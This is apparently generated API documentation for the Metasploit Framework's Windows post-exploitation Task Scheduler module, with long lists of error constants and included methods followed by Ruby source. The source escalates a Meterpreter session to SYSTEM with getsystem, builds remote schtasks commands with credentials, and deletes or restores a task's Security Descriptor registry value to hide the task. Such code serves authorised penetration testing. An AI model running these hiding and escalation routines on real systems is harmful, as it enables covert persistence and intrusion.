Error::RPC_S_SERVER_TOO_BUSY, Error::RPC_S_SERVER_UNAVAILABLE, Error::RPC_S_STRING_TOO_LONG, Error::RPC_S_TYPE_ALREADY_REGISTERED, Error::RPC_S_UNKNOWN_AUTHN_LEVEL, Error::RPC_S_UNKNOWN_AUTHN_SERVICE, Error::RPC_S_UNKNOWN_AUTHN_TYPE, Error::RPC_S_UNKNOWN_AUTHZ_SERVICE, Error::RPC_S_UNKNOWN_IF, Error::RPC_S_UNKNOWN_MGR_TYPE, Error::RPC_S_UNSUPPORTED_AUTHN_LEVEL, Error::RPC_S_UNSUPPORTED_NAME_SYNTAX, Error::RPC_S_UNSUPPORTED_TRANS_SYN, Error::RPC_S_UNSUPPORTED_TYPE, Error::RPC_S_UUID_LOCAL_ONLY, Error::RPC_S_UUID_NO_ADDRESS, Error::RPC_S_WRONG_KIND_OF_BINDING, Error::RPC_S_ZERO_DIVIDE, Error::RPC_X_BAD_STUB_DATA, Error::RPC_X_BYTE_COUNT_TOO_SMALL, Error::RPC_X_ENUM_VALUE_OUT_OF_RANGE, Error::RPC_X_INVALID_ES_ACTION, Error::RPC_X_INVALID_PIPE_OBJECT, Error::RPC_X_NO_MORE_ENTRIES, Error::RPC_X_NULL_REF_POINTER, Error::RPC_X_PIPE_CLOSED, Error::RPC_X_PIPE_DISCIPLINE_ERROR, Error::RPC_X_PIPE_EMPTY, Error::RPC_X_SS_CANNOT_GET_CALL_HANDLE, Error::RPC_X_SS_CHAR_TRANS_OPEN_FAIL, Error::RPC_X_SS_CHAR_TRANS_SHORT_FILE, Error::RPC_X_SS_CONTEXT_DAMAGED, Error::RPC_X_SS_HANDLES_MISMATCH, Error::RPC_X_SS_IN_NULL_CONTEXT, Error::RPC_X_WRONG_ES_VERSION, Error::RPC_X_WRONG_PIPE_ORDER, Error::RPC_X_WRONG_PIPE_VERSION, Error::RPC_X_WRONG_STUB_VERSION, Error::RPL_NOT_ALLOWED, Error::RXACT_COMMITTED, Error::RXACT_COMMIT_FAILURE, Error::RXACT_COMMIT_NECESSARY, Error::RXACT_INVALID_STATE, Error::RXACT_STATE_CREATED, Error::SAME_DRIVE, Error::SAM_INIT_FAILURE, Error::SCHED_E_SERVICE_NOT_LOCALSYSTEM, Error::SCOPE_NOT_FOUND, Error::SCREEN_ALREADY_LOCKED, Error::SECRET_TOO_LONG, Error::SECTOR_NOT_FOUND, Error::SECURITY_STREAM_IS_INCONSISTENT, Error::SEEK, Error::SEEK_ON_DEVICE, Error::SEGMENT_NOTIFICATION, Error::SEM_IS_SET, Error::SEM_NOT_FOUND, Error::SEM_OWNER_DIED, Error::SEM_TIMEOUT, Error::SEM_USER_LIMIT, Error::SERIAL_NO_DEVICE, Error::SERVER_DISABLED, Error::SERVER_HAS_OPEN_HANDLES, Error::SERVER_NOT_DISABLED, Error::SERVER_SHUTDOWN_IN_PROGRESS, Error::SERVER_SID_MISMATCH, Error::SERVICE_ALREADY_RUNNING, Error::SERVICE_CANNOT_ACCEPT_CTRL, Error::SERVICE_DATABASE_LOCKED, Error::SERVICE_DEPENDENCY_DELETED, Error::SERVICE_DEPENDENCY_FAIL, Error::SERVICE_DISABLED, Error::SERVICE_DOES_NOT_EXIST, Error::SERVICE_EXISTS, Error::SERVICE_LOGON_FAILED, Error::SERVICE_MARKED_FOR_DELETE, Error::SERVICE_NEVER_STARTED, Error::SERVICE_NOTIFICATION, Error::SERVICE_NOTIFY_CLIENT_LAGGING, Error::SERVICE_NOT_ACTIVE, Error::SERVICE_NOT_FOUND, Error::SERVICE_NOT_IN_EXE, Error::SERVICE_NO_THREAD, Error::SERVICE_REQUEST_TIMEOUT, Error::SERVICE_SPECIFIC_ERROR, Error::SERVICE_START_HANG, Error::SESSION_CREDENTIAL_CONFLICT, Error::SETCOUNT_ON_BAD_LB, Error::SETMARK_DETECTED, Error::SET_NOT_FOUND, Error::SET_POWER_STATE_FAILED, Error::SET_POWER_STATE_VETOED, Error::SHARED_POLICY, Error::SHARING_BUFFER_EXCEEDED, Error::SHARING_PAUSED, Error::SHARING_VIOLATION, Error::SHORT_NAMES_NOT_ENABLED_ON_VOLUME, Error::SHUTDOWN_CLUSTER, Error::SHUTDOWN_IN_PROGRESS, Error::SHUTDOWN_IS_SCHEDULED, Error::SHUTDOWN_USERS_LOGGED_ON, Error::SIGNAL_PENDING, Error::SIGNAL_REFUSED, Error::SINGLE_INSTANCE_APP, Error::SMARTCARD_SUBSYSTEM_FAILURE, Error::SMI_PRIMITIVE_INSTALLER_FAILED, Error::SOME_NOT_MAPPED, Error::SOURCE_ELEMENT_EMPTY, Error::SPARSE_NOT_ALLOWED_IN_TRANSACTION, Error::SPECIAL_ACCOUNT, Error::SPECIAL_GROUP, Error::SPECIAL_USER, Error::SPL_NO_ADDJOB, Error::SPL_NO_STARTDOC, Error::SPOOL_FILE_NOT_FOUND, Error::STACK_BUFFER_OVERRUN, Error::STACK_OVERFLOW, Error::STACK_OVERFLOW_READ, Error::STATIC_INIT, Error::STOPPED_ON_SYMLINK, Error::STREAM_MINIVERSION_NOT_FOUND, Error::STREAM_MINIVERSION_NOT_VALID, Error::SUBST_TO_JOIN, Error::SUBST_TO_SUBST, Error::SUCCESS, Error::SUCCESS_REBOOT_INITIATED, Error::SUCCESS_REBOOT_REQUIRED, Error::SUCCESS_RESTART_REQUIRED, Error::SWAPERROR, Error::SXS_ACTIVATION_CONTEXT_DISABLED, Error::SXS_ASSEMBLY_IS_NOT_A_DEPLOYMENT, Error::SXS_ASSEMBLY_MISSING, Error::SXS_ASSEMBLY_NOT_FOUND, Error::SXS_ASSEMBLY_NOT_LOCKED, Error::SXS_CANT_GEN_ACTCTX, Error::SXS_COMPONENT_STORE_CORRUPT, Error::SXS_CORRUPTION, Error::SXS_CORRUPT_ACTIVATION_STACK, Error::SXS_DUPLICATE_ASSEMBLY_NAME, Error::SXS_DUPLICATE_CLSID, Error::SXS_DUPLICATE_DLL_NAME, Error::SXS_DUPLICATE_IID, Error::SXS_DUPLICATE_PROGID, Error::SXS_DUPLICATE_TLBID, Error::SXS_DUPLICATE_WINDOWCLASS_NAME, Error::SXS_EARLY_DEACTIVATION, Error::SXS_FILE_HASH_MISMATCH, Error::SXS_FILE_HASH_MISSING, Error::SXS_FILE_NOT_PART_OF_ASSEMBLY, Error::SXS_IDENTITIES_DIFFERENT, Error::SXS_IDENTITY_DUPLICATE_ATTRIBUTE, Error::SXS_IDENTITY_PARSE_ERROR, Error::SXS_INCORRECT_PUBLIC_KEY_TOKEN, Error::SXS_INVALID_ACTCTXDATA_FORMAT, Error::SXS_INVALID_ASSEMBLY_IDENTITY_ATTRIBUTE, Error::SXS_INVALID_ASSEMBLY_IDENTITY_ATTRIBUTE_NAME, Error::SXS_INVALID_DEACTIVATION, Error::SXS_INVALID_IDENTITY_ATTRIBUTE_NAME, Error::SXS_INVALID_IDENTITY_ATTRIBUTE_VALUE, Error::SXS_INVALID_XML_NAMESPACE_URI, Error::SXS_KEY_NOT_FOUND, Error::SXS_LEAF_MANIFEST_DEPENDENCY_NOT_INSTALLED, Error::SXS_MANIFEST_FORMAT_ERROR, Error::SXS_MANIFEST_IDENTITY_SAME_BUT_CONTENTS_DIFFERENT, Error::SXS_MANIFEST_INVALID_REQUIRED_DEFAULT_NAMESPACE, Error::SXS_MANIFEST_MISSING_REQUIRED_DEFAULT_NAMESPACE, Error::SXS_MANIFEST_PARSE_ERROR, Error::SXS_MANIFEST_TOO_BIG, Error::SXS_MISSING_ASSEMBLY_IDENTITY_ATTRIBUTE, Error::SXS_MULTIPLE_DEACTIVATION, Error::SXS_POLICY_PARSE_ERROR, Error::SXS_PRIVATE_MANIFEST_CROSS_PATH_WITH_REPARSE_POINT, Error::SXS_PROCESS_DEFAULT_ALREADY_SET, Error::SXS_PROCESS_TERMINATION_REQUESTED, Error::SXS_PROTECTION_CATALOG_FILE_MISSING, Error::SXS_PROTECTION_CATALOG_NOT_VALID, Error::SXS_PROTECTION_PUBLIC_KEY_TOO_SHORT, Error::SXS_PROTECTION_RECOVERY_FAILED, Error::SXS_RELEASE_ACTIVATION_CONTEXT, Error::SXS_ROOT_MANIFEST_DEPENDENCY_NOT_INSTALLED, Error::SXS_SECTION_NOT_FOUND, Error::SXS_SETTING_NOT_REGISTERED, Error::SXS_SYSTEM_DEFAULT_ACTIVATION_CONTEXT_EMPTY, Error::SXS_THREAD_QUERIES_DISABLED, Error::SXS_TRANSACTION_CLOSURE_INCOMPLETE, Error::SXS_UNKNOWN_ENCODING, Error::SXS_UNKNOWN_ENCODING_GROUP, Error::SXS_UNTRANSLATABLE_HRESULT, Error::SXS_VERSION_CONFLICT, Error::SXS_WRONG_SECTION_TYPE, Error::SXS_XML_E_BADCHARDATA, Error::SXS_XML_E_BADCHARINSTRING, Error::SXS_XML_E_BADNAMECHAR, Error::SXS_XML_E_BADPEREFINSUBSET, Error::SXS_XML_E_BADSTARTNAMECHAR, Error::SXS_XML_E_BADXMLCASE, Error::SXS_XML_E_BADXMLDECL, Error::SXS_XML_E_COMMENTSYNTAX, Error::SXS_XML_E_DUPLICATEATTRIBUTE, Error::SXS_XML_E_EXPECTINGCLOSEQUOTE, Error::SXS_XML_E_EXPECTINGTAGEND, Error::SXS_XML_E_INCOMPLETE_ENCODING, Error::SXS_XML_E_INTERNALERROR, Error::SXS_XML_E_INVALIDATROOTLEVEL, Error::SXS_XML_E_INVALIDENCODING, Error::SXS_XML_E_INVALIDSWITCH, Error::SXS_XML_E_INVALID_DECIMAL, Error::SXS_XML_E_INVALID_HEXIDECIMAL, Error::SXS_XML_E_INVALID_STANDALONE, Error::SXS_XML_E_INVALID_UNICODE, Error::SXS_XML_E_INVALID_VERSION, Error::SXS_XML_E_MISSINGEQUALS, Error::SXS_XML_E_MISSINGQUOTE, Error::SXS_XML_E_MISSINGROOT, Error::SXS_XML_E_MISSINGSEMICOLON, Error::SXS_XML_E_MISSINGWHITESPACE, Error::SXS_XML_E_MISSING_PAREN, Error::SXS_XML_E_MULTIPLEROOTS, Error::SXS_XML_E_MULTIPLE_COLONS, Error::SXS_XML_E_RESERVEDNAMESPACE, Error::SXS_XML_E_UNBALANCEDPAREN, Error::SXS_XML_E_UNCLOSEDCDATA, Error::SXS_XML_E_UNCLOSEDCOMMENT, Error::SXS_XML_E_UNCLOSEDDECL, Error::SXS_XML_E_UNCLOSEDENDTAG, Error::SXS_XML_E_UNCLOSEDSTARTTAG, Error::SXS_XML_E_UNCLOSEDSTRING, Error::SXS_XML_E_UNCLOSEDTAG, Error::SXS_XML_E_UNEXPECTEDENDTAG, Error::SXS_XML_E_UNEXPECTEDEOF, Error::SXS_XML_E_UNEXPECTED_STANDALONE, Error::SXS_XML_E_UNEXPECTED_WHITESPACE, Error::SXS_XML_E_WHITESPACEORQUESTIONMARK, Error::SXS_XML_E_XMLDECLSYNTAX, Error::SYMLINK_CLASS_DISABLED, Error::SYMLINK_NOT_SUPPORTED, Error::SYNCHRONIZATION_REQUIRED, Error::SYNC_FOREGROUND_REFRESH_REQUIRED, Error::SYSTEM_DEVICE_NOT_FOUND, Error::SYSTEM_HIVE_TOO_LARGE, Error::SYSTEM_IMAGE_BAD_SIGNATURE, Error::SYSTEM_POWERSTATE_COMPLEX_TRANSITION, Error::SYSTEM_POWERSTATE_TRANSITION, Error::SYSTEM_PROCESS_TERMINATED, Error::SYSTEM_SHUTDOWN, Error::SYSTEM_TRACE, Error::TAG_NOT_FOUND, Error::TAG_NOT_PRESENT, Error::THREAD_1_INACTIVE, Error::THREAD_ALREADY_IN_TASK, Error::THREAD_MODE_ALREADY_BACKGROUND, Error::THREAD_MODE_NOT_BACKGROUND, Error::THREAD_NOT_IN_PROCESS, Error::THREAD_WAS_SUSPENDED, Error::TIMEOUT, Error::TIMER_NOT_CANCELED, Error::TIMER_RESOLUTION_NOT_SET, Error::TIMER_RESUME_IGNORED, Error::TIME_SKEW, Error::TLW_WITH_WSCHILD, Error::TM_IDENTITY_MISMATCH, Error::TM_INITIALIZATION_FAILED, Error::TM_VOLATILE, Error::TOKEN_ALREADY_IN_USE, Error::TOO_MANY_CMDS, Error::TOO_MANY_CONTEXT_IDS, Error::TOO_MANY_LINKS, Error::TOO_MANY_LUIDS_REQUESTED, Error::TOO_MANY_MODULES, Error::TOO_MANY_MUXWAITERS, Error::TOO_MANY_NAMES, Error::TOO_MANY_OPEN_FILES, Error::TOO_MANY_POSTS, Error::TOO_MANY_SECRETS, Error::TOO_MANY_SEMAPHORES, Error::TOO_MANY_SEM_REQUESTS, Error::TOO_MANY_SESS, Error::TOO_MANY_SIDS, Error::TOO_MANY_TCBS, Error::TOO_MANY_THREADS, Error::TRANSACTED_MAPPING_UNSUPPORTED_REMOTE, Error::TRANSACTIONAL_CONFLICT, Error::TRANSACTIONAL_OPEN_NOT_ALLOWED, Error::TRANSACTIONMANAGER_IDENTITY_MISMATCH, Error::TRANSACTIONMANAGER_NOT_FOUND, Error::TRANSACTIONMANAGER_NOT_ONLINE, Error::TRANSACTIONMANAGER_RECOVERY_NAME_COLLISION, Error::TRANSACTIONS_NOT_FROZEN, Error::TRANSACTIONS_UNSUPPORTED_REMOTE, Error::TRANSACTION_ALREADY_ABORTED, Error::TRANSACTION_ALREADY_COMMITTED, Error::TRANSACTION_FREEZE_IN_PROGRESS, Error::TRANSACTION_INTEGRITY_VIOLATED, Error::TRANSACTION_INVALID_MARSHALL_BUFFER, Error::TRANSACTION_MUST_WRITETHROUGH, Error::TRANSACTION_NOT_ACTIVE, Error::TRANSACTION_NOT_ENLISTED, Error::TRANSACTION_NOT_FOUND, Error::TRANSACTION_NOT_JOINED, Error::TRANSACTION_NOT_REQUESTED, Error::TRANSACTION_NOT_ROOT, Error::TRANSACTION_NO_SUPERIOR, Error::TRANSACTION_OBJECT_EXPIRED, Error::TRANSACTION_PROPAGATION_FAILED, Error::TRANSACTION_RECORD_TOO_LONG, Error::TRANSACTION_REQUEST_NOT_VALID, Error::TRANSACTION_REQUIRED_PROMOTION, Error::TRANSACTION_RESPONSE_NOT_ENLISTED, Error::TRANSACTION_SCOPE_CALLBACKS_NOT_SET, Error::TRANSACTION_SUPERIOR_EXISTS, Error::TRANSFORM_NOT_SUPPORTED, Error::TRANSLATION_COMPLETE, Error::TRANSPORT_FULL, Error::TRUSTED_DOMAIN_FAILURE, Error::TRUSTED_RELATIONSHIP_FAILURE, Error::TRUST_FAILURE, Error::TS_INCOMPATIBLE_SESSIONS, Error::TS_VIDEO_SUBSYSTEM_ERROR, Error::TXF_ATTRIBUTE_CORRUPT, Error::TXF_DIR_NOT_EMPTY, Error::TXF_METADATA_ALREADY_PRESENT, Error::UNABLE_TO_CLEAN, Error::UNABLE_TO_EJECT_MOUNTED_MEDIA, Error::UNABLE_TO_INVENTORY_DRIVE, Error::UNABLE_TO_INVENTORY_SLOT, Error::UNABLE_TO_INVENTORY_TRANSPORT, Error::UNABLE_TO_LOAD_MEDIUM, Error::UNABLE_TO_LOCK_MEDIA, Error::UNABLE_TO_MOVE_REPLACEMENT, Error::UNABLE_TO_MOVE_REPLACEMENT_2, Error::UNABLE_TO_REMOVE_REPLACED, Error::UNABLE_TO_UNLOAD_MEDIA, Error::UNDEFINED_CHARACTER, Error::UNEXPECTED_MM_CREATE_ERR, Error::UNEXPECTED_MM_EXTEND_ERR, Error::UNEXPECTED_MM_MAP_ERROR, Error::UNEXPECTED_OMID, Error::UNEXP_NET_ERR, Error::UNHANDLED_EXCEPTION, Error::UNIDENTIFIED_ERROR, Error::UNKNOWN_COMPONENT, Error::UNKNOWN_FEATURE, Error::UNKNOWN_PATCH, Error::UNKNOWN_PORT, Error::UNKNOWN_PRINTER_DRIVER, Error::UNKNOWN_PRINTPROCESSOR, Error::UNKNOWN_PRINT_MONITOR, Error::UNKNOWN_PRODUCT, Error::UNKNOWN_PROPERTY, Error::UNKNOWN_REVISION, Error::UNMAPPED_SUBSTITUTION_STRING, Error::UNRECOGNIZED_MEDIA, Error::UNRECOGNIZED_VOLUME, Error::UNSUPPORTED_COMPRESSION, Error::UNSUPPORTED_TYPE, Error::UNWIND, Error::UNWIND_CONSOLIDATE, Error::USER_APC, Error::USER_DELETE_TRUST_QUOTA_EXCEEDED, Error::USER_EXISTS, Error::USER_MAPPED_FILE, Error::USER_PROFILE_LOAD, Error::VALIDATE_CONTINUE, Error::VC_DISCONNECTED, Error::VDM_DISALLOWED, Error::VDM_HARD_ERROR, Error::VERIFIER_STOP, Error::VERSION_PARSE_ERROR, Error::VIRUS_DELETED, Error::VIRUS_INFECTED, Error::VOLSNAP_HIBERNATE_READY, Error::VOLSNAP_PREPARE_HIBERNATE, Error::VOLUME_CONTAINS_SYS_FILES, Error::VOLUME_DIRTY, Error::VOLUME_MOUNTED, Error::VOLUME_NOT_SIS_ENABLED, Error::VOLUME_NOT_SUPPORT_EFS, Error::WAIT_1, Error::WAIT_2, Error::WAIT_3, Error::WAIT_63, Error::WAIT_FOR_OPLOCK, Error::WAIT_NO_CHILDREN, Error::WAIT_TIMEOUT, Error::WAKE_SYSTEM, Error::WAKE_SYSTEM_DEBUGGER, Error::WARNING_IPSEC_MM_POLICY_PRUNED, Error::WARNING_IPSEC_QM_POLICY_PRUNED, Error::WAS_LOCKED, Error::WAS_UNLOCKED, Error::WINDOW_NOT_COMBOBOX, Error::WINDOW_NOT_DIALOG, Error::WINDOW_OF_OTHER_THREAD, Error::WINS_INTERNAL, Error::WMI_ALREADY_DISABLED, Error::WMI_ALREADY_ENABLED, Error::WMI_DP_FAILED, Error::WMI_DP_NOT_FOUND, Error::WMI_GUID_DISCONNECTED, Error::WMI_GUID_NOT_FOUND, Error::WMI_INSTANCE_NOT_FOUND, Error::WMI_INVALID_MOF, Error::WMI_INVALID_REGINFO, Error::WMI_ITEMID_NOT_FOUND, Error::WMI_READ_ONLY, Error::WMI_SERVER_UNAVAILABLE, Error::WMI_SET_FAILURE, Error::WMI_TRY_AGAIN, Error::WMI_UNRESOLVED_INSTANCE_REF, Error::WORKING_SET_QUOTA, Error::WOW_ASSERTION, Error::WRITE_FAULT, Error::WRITE_PROTECT, Error::WRONG_COMPARTMENT, Error::WRONG_DISK, Error::WRONG_EFS, Error::WRONG_PASSWORD, Error::WRONG_TARGET_NAME, Error::WSAEACCES, Error::WSAEADDRINUSE, Error::WSAEADDRNOTAVAIL, Error::WSAEAFNOSUPPORT, Error::WSAEALREADY, Error::WSAEBADF, Error::WSAECANCELLED, Error::WSAECONNABORTED, Error::WSAECONNREFUSED, Error::WSAECONNRESET, Error::WSAEDESTADDRREQ, Error::WSAEDISCON, Error::WSAEDQUOT, Error::WSAEFAULT, Error::WSAEHOSTDOWN, Error::WSAEHOSTUNREACH, Error::WSAEINPROGRESS, Error::WSAEINTR, Error::WSAEINVAL, Error::WSAEINVALIDPROCTABLE, Error::WSAEINVALIDPROVIDER, Error::WSAEISCONN, Error::WSAELOOP, Error::WSAEMFILE, Error::WSAEMSGSIZE, Error::WSAENAMETOOLONG, Error::WSAENETDOWN, Error::WSAENETRESET, Error::WSAENETUNREACH, Error::WSAENOBUFS, Error::WSAENOMORE, Error::WSAENOPROTOOPT, Error::WSAENOTCONN, Error::WSAENOTEMPTY, Error::WSAENOTSOCK, Error::WSAEOPNOTSUPP, Error::WSAEPFNOSUPPORT, Error::WSAEPROCLIM, Error::WSAEPROTONOSUPPORT, Error::WSAEPROTOTYPE, Error::WSAEPROVIDERFAILEDINIT, Error::WSAEREFUSED, Error::WSAEREMOTE, Error::WSAESHUTDOWN, Error::WSAESOCKTNOSUPPORT, Error::WSAESTALE, Error::WSAETIMEDOUT, Error::WSAETOOMANYREFS, Error::WSAEUSERS, Error::WSAEWOULDBLOCK, Error::WSAHOST_NOT_FOUND, Error::WSANOTINITIALISED, Error::WSANO_DATA, Error::WSANO_RECOVERY, Error::WSASERVICE_NOT_FOUND, Error::WSASYSCALLFAILURE, Error::WSASYSNOTREADY, Error::WSATRY_AGAIN, Error::WSATYPE_NOT_FOUND, Error::WSAVERNOTSUPPORTED, Error::WSA_E_CANCELLED, Error::WSA_E_NO_MORE, Error::WSA_QOS_ADMISSION_FAILURE, Error::WSA_QOS_BAD_OBJECT, Error::WSA_QOS_BAD_STYLE, Error::WSA_QOS_EFILTERCOUNT, Error::WSA_QOS_EFILTERSTYLE, Error::WSA_QOS_EFILTERTYPE, Error::WSA_QOS_EFLOWCOUNT, Error::WSA_QOS_EFLOWDESC, Error::WSA_QOS_EFLOWSPEC, Error::WSA_QOS_EOBJLENGTH, Error::WSA_QOS_EPOLICYOBJ, Error::WSA_QOS_EPROVSPECBUF, Error::WSA_QOS_EPSFILTERSPEC, Error::WSA_QOS_EPSFLOWSPEC, Error::WSA_QOS_ESDMODEOBJ, Error::WSA_QOS_ESERVICETYPE, Error::WSA_QOS_ESHAPERATEOBJ, Error::WSA_QOS_EUNKNOWNPSOBJ, Error::WSA_QOS_GENERIC_ERROR, Error::WSA_QOS_NO_RECEIVERS, Error::WSA_QOS_NO_SENDERS, Error::WSA_QOS_POLICY_FAILURE, Error::WSA_QOS_RECEIVERS, Error::WSA_QOS_REQUEST_CONFIRMED, Error::WSA_QOS_RESERVED_PETYPE, Error::WSA_QOS_SENDERS, Error::WSA_QOS_TRAFFIC_CTRL_ERROR, Error::WX86_ERROR, Error::WX86_WARNING, Error::XMLDSIG_ERROR, Error::XML_ENCODING_MISMATCH, Error::XML_PARSE_ERROR

Class Method Summary collapse

Instance Method Summary collapse

Methods included from Module::UI::Message

#print_error, #print_good, #print_prefix, #print_status, #print_warning

Methods included from Module::UI::Message::Verbose

#vprint_error, #vprint_good, #vprint_status, #vprint_warning

Methods included from Priv

#capture_boot_key, #capture_lsa_key, #get_integrity_level, #get_uac_level, #get_whoami, #is_admin?, #is_high_integrity?, #is_in_admin_group?, #is_system?, #is_uac_enabled?, #lsa_vista_style?, #session_has_ext, #steal_current_user_token, #steal_token

Methods included from Util::WindowsCryptoHelpers

#add_parity, #aes128_cts_hmac_sha1_96, #aes256_cts_hmac_sha1_96, #aes_cts_hmac_sha1_96, #convert_des_56_to_64, #decrypt_aes, #decrypt_hash, #decrypt_lsa_data, #decrypt_secret_data, #decrypt_user_hash, #decrypt_user_key, #des_cbc_md5, #fix_parity, #rc4_hmac, #rid_to_key, #weak_des_key?

Methods included from Version

#get_version_info, #get_version_info_fallback_impl, #get_version_info_impl

Methods included from Registry

#meterpreter_registry_createkey, #meterpreter_registry_deletekey, #meterpreter_registry_deleteval, #meterpreter_registry_enumkeys, #meterpreter_registry_enumvals, #meterpreter_registry_getvaldata, #meterpreter_registry_getvalinfo, #meterpreter_registry_key_exist?, #meterpreter_registry_loadkey, #meterpreter_registry_perms, #meterpreter_registry_setvaldata, #meterpreter_registry_unloadkey, #normalize_key, #registry_createkey, #registry_deletekey, #registry_deleteval, #registry_enumkeys, #registry_enumvals, #registry_getvaldata, #registry_getvalinfo, #registry_hive_lookup, #registry_key_exist?, #registry_loadkey, #registry_setvaldata, #registry_unloadkey, #session_has_registry_ext, #shell_registry_cmd, #shell_registry_cmd_result, #shell_registry_createkey, #shell_registry_deletekey, #shell_registry_deleteval, #shell_registry_enumkeys, #shell_registry_enumvals, #shell_registry_getvaldata, #shell_registry_getvalinfo, #shell_registry_key_exist?, #shell_registry_loadkey, #shell_registry_setvaldata, #shell_registry_unloadkey, #split_key

Methods included from CliParse

#win_parse_error, #win_parse_results

Methods included from Accounts

#delete_user, #domain_controller?, #get_domain, #get_domain_name, #get_primary_domain_controller, #resolve_sid

Methods included from Common

#clear_screen, #cmd_exec, #cmd_exec_get_pid, #cmd_exec_with_result, #command_exists?, #get_env, #get_envs, #peer, #report_virtualization, #rhost, #rport

Class Method Details

.add_reg_key_value(reg_key, reg_value, reg_data, reg_type, opts = {}) ⇒ Object



483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
# File 'lib/msf/core/post/windows/task_scheduler.rb', line 483

def add_reg_key_value(reg_key, reg_value, reg_data, reg_type, opts = {})
  log_and_print('[Task Scheduler] Restoring the Security Descriptor registry key value to unhide the task')

  # Override by default. It has to be explicitly set to false if we don't want the key to be overridden.
  unless opts[:override].nil? || opts[:override]
    log_and_print('[Task Scheduler] Checking if the key value exists')
    if reg_key_value_exists?(reg_key, reg_value)
      log_and_print("The #{reg_value} key value already exist. Set `opts[:override]` to true to override the value", level: :warning)
      return
    end
  end

  begin
    get_system_privs
  rescue TaskSchedulerSystemPrivsError
    raise TaskSchedulerObfuscationError, 'Could not obtain SYSTEM privilege, which is needed to restore the key value.'
  end

  remote_host = opts[:remote_system] || datastore['ScheduleRemoteSystem']
  log_and_print("[Task Scheduler] Adding #{reg_value} in #{reg_key}#{" on remote host #{remote_host}" if remote_host.present?}")
  if remote_host.present?
    begin
      run_one_off_task("reg add \\\"#{reg_key}\\\" /v \\\"#{reg_value}\\\" /t #{reg_type} /d \\\"#{reg_data}\\\" /f")
    rescue TaskSchedulerError => e
      raise TaskSchedulerObfuscationError, "Could not restore the key value: #{e}"
    end
  else
    result = cmd_exec_with_result("reg add \"#{reg_key}\" /v \"#{reg_value}\" /t #{reg_type} /d \"#{reg_data}\" /f#{' /reg:64' unless @old_os}", nil, 15, { 'UseThreadToken' => true })
    unless result[1]
      raise TaskSchedulerObfuscationError, "Could not restore the key value. Error: #{result[0]}"
    end
  end
end

.check_compatibilityObject



264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
# File 'lib/msf/core/post/windows/task_scheduler.rb', line 264

def check_compatibility
  # Check Windows version to make sure we will use the correct supported command flags
  # - `schtasks.exe` on Windows prior to Windows Server 2003 SP1 has
  #   some different `/create` option flags.
  # - `schtasks.exe` on Windows prior to Vista has some
  #   different `/query` option flags - set @old_os to true
  # Also, on these OSes, `reg.exe` does not support the `/reg:64` flag.

  @old_schtasks = false
  @old_os = false

  version = get_version_info
  if version.build_number < Msf::WindowsVersion::Vista_SP0
    @old_os = true
    if version.build_number < Msf::WindowsVersion::Server2003_SP1
      @old_schtasks = true
    end
    if datastore['ScheduleRemoteSystem'].present?
      log_and_print(
        '[Task Scheduler] This OS version does not support remote schedule tasks. This is likely to fail.',
        level: :warning
      )
    end
  end
end

.delete_reg_key_value(reg_key, reg_value, opts = {}) ⇒ Object



453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
# File 'lib/msf/core/post/windows/task_scheduler.rb', line 453

def delete_reg_key_value(reg_key, reg_value, opts = {})
  log_and_print('[Task Scheduler] Removing the Security Descriptor registry key value to hide the task')

  log_and_print('[Task Scheduler] Checking if the key value exists')
  unless reg_key_value_exists?(reg_key, reg_value)
    raise TaskSchedulerObfuscationError, "The #{reg_value} key value does not exist. Obfuscation is not possible"
  end

  begin
    get_system_privs
  rescue TaskSchedulerSystemPrivsError
    raise TaskSchedulerObfuscationError, 'Could not obtain SYSTEM privilege, which is needed to delete the key value.'
  end

  remote_host = opts[:remote_system] || datastore['ScheduleRemoteSystem']
  log_and_print("[Task Scheduler] Deleting #{reg_value} in #{reg_key}#{" on remote host #{remote_host}" if remote_host.present?}")
  if remote_host.present?
    begin
      run_one_off_task("reg delete \\\"#{reg_key}\\\" /v \\\"#{reg_value}\\\" /f")
    rescue TaskSchedulerError => e
      raise TaskSchedulerObfuscationError, "Could not delete the key value: #{e}"
    end
  else
    result = cmd_exec_with_result("reg delete \"#{reg_key}\" /v \"#{reg_value}\" /f#{' /reg:64' unless @old_os}", nil, 15, { 'UseThreadToken' => true })
    unless result[1]
      raise TaskSchedulerObfuscationError, "Could not delete the key value. Error: #{result[0]}"
    end
  end
end

.get_schtasks_cmd_string(schtasks_cmd, opts = {}) ⇒ Object



307
308
309
310
311
312
313
314
315
316
317
# File 'lib/msf/core/post/windows/task_scheduler.rb', line 307

def get_schtasks_cmd_string(schtasks_cmd, opts = {})
  cmd = schtasks_cmd.dup
  cmd.prepend('schtasks')
  system = opts[:remote_system] || (datastore['ScheduleRemoteSystem'].present? ? datastore['ScheduleRemoteSystem'] : nil)
  cmd += ['/s', system] if system
  username = opts[:username] || (datastore['ScheduleUsername'].present? ? datastore['ScheduleUsername'] : nil)
  cmd += ['/u', username] if username
  password = opts[:password] || (datastore['SchedulePassword'].present? ? datastore['SchedulePassword'] : nil)
  cmd += ['/p', password] if password
  cmd.join(' ')
end

.get_system_privsObject



330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
# File 'lib/msf/core/post/windows/task_scheduler.rb', line 330

def get_system_privs
  return if is_system?

  unless session.type == 'meterpreter'
    error = "Incompatible session type (#{session.type}), cannot get SYSTEM "\
            'privileges to obfuscate the scheduled task.'
    log_and_print("[Task Scheduler] #{error}", level: :error)
    raise TaskSchedulerSystemPrivsError, error
  end
  unless session.ext.priv
    error = 'This Meterpreter session does not support `priv` extension, cannot '\
            'get SYSTEM privileges to obfuscate the scheduled task.'
    log_and_print("[Task Scheduler] #{error}", level: :error)
    raise TaskSchedulerSystemPrivsError, error
  end
  log_and_print('[Task Scheduler] Trying to get SYSTEM privilege')
  results = session.priv.getsystem
  if results[0]
    log_and_print('[Task Scheduler] Got SYSTEM privilege')
  else
    raise TaskSchedulerSystemPrivsError
  end
end

.log_and_print(msg, level: :debug) ⇒ Object



290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
# File 'lib/msf/core/post/windows/task_scheduler.rb', line 290

def log_and_print(msg, level: :debug)
  case level
  when :debug
    vprint_status(msg) if respond_to?(:vprint_status)
    dlog(msg)
  when :status
    vprint_status(msg) if respond_to?(:vprint_status)
    ilog(msg)
  when :warning
